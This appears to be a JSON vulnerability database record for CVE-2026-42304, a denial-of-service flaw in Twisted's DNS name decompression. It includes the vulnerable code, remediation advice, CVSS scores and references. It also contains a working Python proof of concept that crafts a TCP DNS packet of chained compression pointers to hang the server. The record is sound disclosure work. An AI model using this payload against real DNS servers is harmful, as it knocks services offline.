{"id":"CVE-2026-42304","aliases":["CVE-2026-42304","GHSA-grgv-6hw6-v9g4","PYSEC-2026-160"],"related":[],"kind":"vulnerability","state":"published","title":"Twisted: Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains","summary":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","source":"cvelist"},{"lang":"en","text":"### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n##  src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n        visited = set()\n        self.name = b\"\"\n        off = 0\n        while 1:\n            l = ord(readPrecisely(strio, 1))\n            if l == 0:\n                if off > 0:\n                    strio.seek(off)\n                return\n            if (l >> 6) == 3:\n                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))\n                if new_off in visited:\n                    raise ValueError(\"Compression loop in encoded name\")\n                visited.add(new_off)\n                if off == 0:\n                    off = strio.tell()\n                strio.seek(new_off)\n                continue\n            label = readPrecisely(strio, l)\n            if self.name == b\"\":\n                self.name = label\n            else:\n                self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n    num_pointers = 8000\n    packet_length = 65533\n    num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n    buffer = bytearray(packet_length)\n\n    struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n    ptr_offset = 12\n    for _ in range(num_pointers - 1):\n        struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n        ptr_offset += 2\n\n    null_byte_offset = ptr_offset + 2\n    struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n    buffer[null_byte_offset] = 0\n\n    question_offset = null_byte_offset + 1\n    for _ in range(num_questions):\n        if question_offset + 6 <= packet_length:\n            struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n            question_offset += 6\n\n    return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n    factory = server.DNSServerFactory(clients=[])\n    protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n    transport = proto_helpers.StringTransport()\n    protocol.makeConnection(transport)\n\n    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n    print(\"payload\")\n    print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n    start = time.time()\n    protocol.dataReceived(payload)\n    end = time.time()\n\n    print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n    test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati","format":"markdown","source":"ghsa"},{"lang":"es","text":"Twisted es un framework basado en eventos para aplicaciones de internet, compatible con Python 3.6+. Antes de 26.4.0rc2, el módulo twisted.names es vulnerable a un ataque de denegación de servicio (DoS) a través del agotamiento de recursos durante la descompresión de nombres DNS. Un atacante remoto no autenticado puede explotar esto enviando un paquete DNS TCP manipulado que contiene punteros de compresión profundamente encadenados. Esta falla omite la lógica de prevención de bucles anterior, lo que provoca que el reactor Twisted de un solo hilo se cuelgue mientras procesa millones de búsquedas recursivas, congelando efectivamente el servidor. Esta vulnerabilidad se corrige en 26.4.0rc2.","source":"nvd"}],"published":"2026-05-05T21:12:37.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400","CWE-407"],"affected":[{"ranges":[{"version":"< 26.4.0rc2","status":"affected"}],"vendor":"twisted","product":"twisted","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"26.4.0rc2"}],"ecosystem":"PyPI","package":"twisted","purl":"pkg:pypi/twisted","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"26.4.0"},{"status":"affected","version":"26.4.0"}],"vendor":"twisted","product":"twisted","cpe":"cpe:2.3:a:twisted:twisted:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"26.4.0"}],"ecosystem":"PyPI","package":"twisted","purl":"pkg:pypi/twisted","source":"pysec"}],"references":[{"url":"https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4","tags":["evidence","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42304","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/twisted/twisted","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-14T15:44:57.486Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42304","url":"https://www.cve.org/CVERecord?id=CVE-2026-42304","licence":"CVE Terms of Use","modified":"2026-05-14T15:45:34.746Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-grgv-6hw6-v9g4","url":"https://github.com/advisories/GHSA-grgv-6hw6-v9g4","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:05.782Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42304","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42304","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-160","url":"https://osv.dev/vulnerability/PYSEC-2026-160","licence":"CC-BY-4.0","modified":"2026-05-20T12:35:31.546Z"}],"updatedAt":"2026-11-25T22:59:21.661Z","epss":{"score":0.00433,"percentile":0.39384,"date":"2026-12-01T12:00:22.000Z"}}